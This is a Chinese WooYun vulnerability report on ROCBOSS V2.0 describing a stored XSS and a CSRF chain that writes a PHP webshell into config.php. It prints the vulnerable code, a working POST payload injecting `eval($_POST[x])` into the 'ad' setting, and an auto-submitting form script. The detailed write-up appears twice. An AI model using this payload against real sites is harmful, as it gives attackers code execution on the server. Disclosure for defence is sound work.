当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100305

漏洞标题:[ROCBOSS微社区V2.0]存储型XSS&Csrf GetShell

相关厂商:rocboss.com

漏洞作者: 浅蓝

提交时间:2015-03-11 14:29

修复时间:2015-06-09 14:54

公开时间:2015-06-09 14:54

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 细节已通知厂商并且等待厂商处理中
2015-03-11: 厂商已经确认,细节仅向厂商公开
2015-05-05: 细节向核心白帽子及相关领域专家公开
2015-05-15: 细节向普通白帽子公开
2015-05-25: 细节向实习白帽子公开
2015-06-09: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

[ROCBOSS微社区V2.0]存储型XSS&Csrf GetShell

详细说明:

#1、存储型xss
/application/controller/do.php 1081行

public function setSignature()
{
if ($this->checkPrivate() == true)
{
if (isset($_POST['signature']))
{
$signature = Filter::in($_POST['signature']);

if (empty($signature))
{
$this->showMsg('个性签名不能为空', 'error', 1);
}

if (Utils::getStrlen($signature) >= 32)
{
$this->showMsg('个性签名不能超过32个字', 'error', 1);
}

$resID = $this->db->update('roc_user', array(
'signature' => $signature
), array(
'uid' => $this->loginInfo['uid']
));

if ($resID > 0)
{
$this->showMsg('个性签名设置成功', 'success');
}
else
{
$this->showMsg('个性签名设置失败', 'error');
}
}
}
}


/system/libs/Filter.lib.php

class Filter
{
/**
* 字符串过滤
* @param string|array $date
* @param boolean $force
* @return string|array
*/
public static function in($data, $force = false)
{
if (is_string($data))
{
if ($force == true || !get_magic_quotes_gpc())
{
$data = addslashes(trim($data));
}
return trim($data);
}


只做了SQL转义 ,所以还可以xss
在修改个性签名的地方

[BC8@)@U$PB~{9]4[LC$Z[F.png


再访问个人信息

%BK6}W0PE6J]ER(P37L}OX7.png


#2、Csrf Getshell
ROCBOSS没有做csrf防御
再来看看怎么拿shell
/application/controller/manage.php 67行

public function adminCommon()
{
$this->checkManagePrivate();

if (isset($_POST['sitename'], $_POST['keywords'], $_POST['description'], $_POST['register'], $_POST['topic'], $_POST['reply'], $_POST['praise'], $_POST['whisper'], $_POST['ROCKEY'], $_POST['ad']))
{
$sitename = Filter::in($_POST['sitename']);

$keywords = Filter::in($_POST['keywords']);

$description = Filter::in($_POST['description']);

$join_switch = (isset($_POST['join_switch']) && $_POST['join_switch'] == 1) ? 'true' : 'false';

$register = intval($_POST['register']);

$topic = intval($_POST['topic']);

$reply = intval($_POST['reply']);

$praise = intval($_POST['praise']);

$whisper = intval($_POST['whisper']);

$ROCKEY = $_POST['ROCKEY'];

$ad = $_POST['ad'];

$qq_appid = isset($_POST['appid']) ? intval($_POST['appid']) : '';

$qq_appkey = isset($_POST['appkey']) ? Filter::in($_POST['appkey']) : '';

$content = file_get_contents('application/config/config.php');

$content = preg_replace('/\'sitename\' => .+?\,/s', '\'sitename\' => \'' . $sitename . '\',', $content);

$content = preg_replace('/\'keywords\' => .+?\'\,/s', '\'keywords\' => \'' . $keywords . '\',', $content);

$content = preg_replace('/\'description\' => .+?\,/s', '\'description\' => \'' . $description . '\',', $content);

$content = preg_replace('/\'ROCKEY\' => .+?\,/s', '\'ROCKEY\' => \'' . $ROCKEY . '\',', $content);

$content = preg_replace('/\'join_switch\' => .+?\,/s', '\'join_switch\' => ' . $join_switch . ',', $content);

$content = preg_replace('/\'ad\' => .+?\,/s', '\'ad\' => \'' . $ad . '\',', $content);

$content = preg_replace('/\'register\' => .+?\,/s', '\'register\' => ' . $register . ',', $content);

$content = preg_replace('/\'topic\' => .+?\,/s', '\'topic\' => ' . $topic . ',', $content);

$content = preg_replace('/\'reply\' => .+?\,/s', '\'reply\' => ' . $reply . ',', $content);

$content = preg_replace('/\'praise\' => .+?\,/s', '\'praise\' => ' . $praise . ',', $content);

$content = preg_replace('/\'whisper\' => .+?\,/s', '\'whisper\' => ' . $whisper . ',', $content);

$content = preg_replace('/\'appid\' => .+?\,/s', '\'appid\' => \'' . $qq_appid . '\',', $content);

$content = preg_replace('/\'appkey\' => .+?\'/s', '\'appkey\' => \'' . $qq_appkey . '\'', $content);

file_put_contents('application/config/config.php', $content);

header('location:' . ROOT . 'admin/index/type/common');
}
}


可以看到$ROCKEY和$ad没有任何过滤
后台"通用设置"处抓包

http://localhost/rocboss/manage/adminCommon/
sitename=%E5%8F%88%E4%B8%80%E4%B8%AAROCBOSS%E7%A4%BE%E5%8C%BA&keywords=&description=&register=25&topic=2&reply=1&praise=1&whisper=5&ROCKEY=58sdfgh78%23frc211&appid=0&appkey=&ad=test


看看/application/config/config.php
是数组
'ad' => 'test1',
# 广告代码
由于$ad没有被过滤 ,可以构造出');phpinfo();/* 再打开config.php 就会打印phpinfo
表单我就不去整了。。参数太多 整的麻烦
给form表单添加name属性 值为"csrf" 再把各个参数与值写好 再加一句js即可自动提交

<script>document.csrf.submit();</script>


URL:http://localhost/rocboss/manage/adminCommon/
DATA:sitename=%E5%8F%88%E4%B8%80%E4%B8%AAROCBOSS%E7%A4%BE%E5%8C%BA&keywords=&description=&register=25&topic=2&reply=1&praise=1&whisper=5&ROCKEY=58sdfgh78%23frc211&appid=0&appkey=&ad=test');eval($_POST[x]);/*
POST提交上面的数据

');eval($_POST[x]);/*


@[C[DJO]_K[[0K)6QV86U@7.png


OI1AE626D]]CWG8J9ZE_EQ6.png


漏洞证明:

#1、存储型xss
/application/controller/do.php 1081行

public function setSignature()
{
if ($this->checkPrivate() == true)
{
if (isset($_POST['signature']))
{
$signature = Filter::in($_POST['signature']);

if (empty($signature))
{
$this->showMsg('个性签名不能为空', 'error', 1);
}

if (Utils::getStrlen($signature) >= 32)
{
$this->showMsg('个性签名不能超过32个字', 'error', 1);
}

$resID = $this->db->update('roc_user', array(
'signature' => $signature
), array(
'uid' => $this->loginInfo['uid']
));

if ($resID > 0)
{
$this->showMsg('个性签名设置成功', 'success');
}
else
{
$this->showMsg('个性签名设置失败', 'error');
}
}
}
}


/system/libs/Filter.lib.php

class Filter
{
/**
* 字符串过滤
* @param string|array $date
* @param boolean $force
* @return string|array
*/
public static function in($data, $force = false)
{
if (is_string($data))
{
if ($force == true || !get_magic_quotes_gpc())
{
$data = addslashes(trim($data));
}
return trim($data);
}


只做了SQL转义 ,所以还可以xss
在修改个性签名的地方

[BC8@)@U$PB~{9]4[LC$Z[F.png


再访问个人信息

%BK6}W0PE6J]ER(P37L}OX7.png


#2、Csrf Getshell
ROCBOSS没有做csrf防御
再来看看怎么拿shell
/application/controller/manage.php 67行

public function adminCommon()
{
$this->checkManagePrivate();

if (isset($_POST['sitename'], $_POST['keywords'], $_POST['description'], $_POST['register'], $_POST['topic'], $_POST['reply'], $_POST['praise'], $_POST['whisper'], $_POST['ROCKEY'], $_POST['ad']))
{
$sitename = Filter::in($_POST['sitename']);

$keywords = Filter::in($_POST['keywords']);

$description = Filter::in($_POST['description']);

$join_switch = (isset($_POST['join_switch']) && $_POST['join_switch'] == 1) ? 'true' : 'false';

$register = intval($_POST['register']);

$topic = intval($_POST['topic']);

$reply = intval($_POST['reply']);

$praise = intval($_POST['praise']);

$whisper = intval($_POST['whisper']);

$ROCKEY = $_POST['ROCKEY'];

$ad = $_POST['ad'];

$qq_appid = isset($_POST['appid']) ? intval($_POST['appid']) : '';

$qq_appkey = isset($_POST['appkey']) ? Filter::in($_POST['appkey']) : '';

$content = file_get_contents('application/config/config.php');

$content = preg_replace('/\'sitename\' => .+?\,/s', '\'sitename\' => \'' . $sitename . '\',', $content);

$content = preg_replace('/\'keywords\' => .+?\'\,/s', '\'keywords\' => \'' . $keywords . '\',', $content);

$content = preg_replace('/\'description\' => .+?\,/s', '\'description\' => \'' . $description . '\',', $content);

$content = preg_replace('/\'ROCKEY\' => .+?\,/s', '\'ROCKEY\' => \'' . $ROCKEY . '\',', $content);

$content = preg_replace('/\'join_switch\' => .+?\,/s', '\'join_switch\' => ' . $join_switch . ',', $content);

$content = preg_replace('/\'ad\' => .+?\,/s', '\'ad\' => \'' . $ad . '\',', $content);

$content = preg_replace('/\'register\' => .+?\,/s', '\'register\' => ' . $register . ',', $content);

$content = preg_replace('/\'topic\' => .+?\,/s', '\'topic\' => ' . $topic . ',', $content);

$content = preg_replace('/\'reply\' => .+?\,/s', '\'reply\' => ' . $reply . ',', $content);

$content = preg_replace('/\'praise\' => .+?\,/s', '\'praise\' => ' . $praise . ',', $content);

$content = preg_replace('/\'whisper\' => .+?\,/s', '\'whisper\' => ' . $whisper . ',', $content);

$content = preg_replace('/\'appid\' => .+?\,/s', '\'appid\' => \'' . $qq_appid . '\',', $content);

$content = preg_replace('/\'appkey\' => .+?\'/s', '\'appkey\' => \'' . $qq_appkey . '\'', $content);

file_put_contents('application/config/config.php', $content);

header('location:' . ROOT . 'admin/index/type/common');
}
}


可以看到$ROCKEY和$ad没有任何过滤
后台"通用设置"处抓包

http://localhost/rocboss/manage/adminCommon/
sitename=%E5%8F%88%E4%B8%80%E4%B8%AAROCBOSS%E7%A4%BE%E5%8C%BA&keywords=&description=&register=25&topic=2&reply=1&praise=1&whisper=5&ROCKEY=58sdfgh78%23frc211&appid=0&appkey=&ad=test


看看/application/config/config.php
是数组
'ad' => 'test1',
# 广告代码
由于$ad没有被过滤 ,可以构造出');phpinfo();/* 再打开config.php 就会打印phpinfo
表单我就不去整了。。参数太多 整的麻烦
给form表单添加name属性 值为"csrf" 再把各个参数与值写好 再加一句js即可自动提交

<script>document.csrf.submit();</script>


URL:http://localhost/rocboss/manage/adminCommon/
DATA:sitename=%E5%8F%88%E4%B8%80%E4%B8%AAROCBOSS%E7%A4%BE%E5%8C%BA&keywords=&description=&register=25&topic=2&reply=1&praise=1&whisper=5&ROCKEY=58sdfgh78%23frc211&appid=0&appkey=&ad=test');eval($_POST[x]);/*
POST提交上面的数据

');eval($_POST[x]);/*


@[C[DJO]_K[[0K)6QV86U@7.png


OI1AE626D]]CWG8J9ZE_EQ6.png


修复方案:

防御xss
防御csrf
给那两个变量过滤一下

版权声明:转载请注明来源 浅蓝@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-11 14:53

厂商回复:

感谢浅蓝的提醒

最新状态:

2015-03-11:最新修复后的版本已经提交到Github上,由于ROCBOSS2.0目前整站都没有做CSRF防御,所以建议养成浏览完页面就及时退出的习惯,再次感谢浅蓝的提醒


漏洞评价:

评论

  1. 2015-03-11 23:24 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    @ROCBOSS csrf很好防御的 加个token就行。详细可以上网查查

  2. 2015-03-11 23:37 | 黑色键盘丶 ( 实习白帽子 | Rank:50 漏洞数:35 | 我喜欢你关你什么事?有本事你也喜欢我试试...)

    都没公开你干哈呀

  3. 2015-03-12 08:42 | ROCBOSS(乌云厂商)

    @浅蓝 这我知道,其实从1.0开始就考虑到CSRF的问题,因为后台一直没涉及到高危操作,所以一直没做CSRF防御,这也是目前为止后台不允许删除会员之类操作的原因,你说的那个后台通用设置的地方确实比较危险,已经加了个hash判断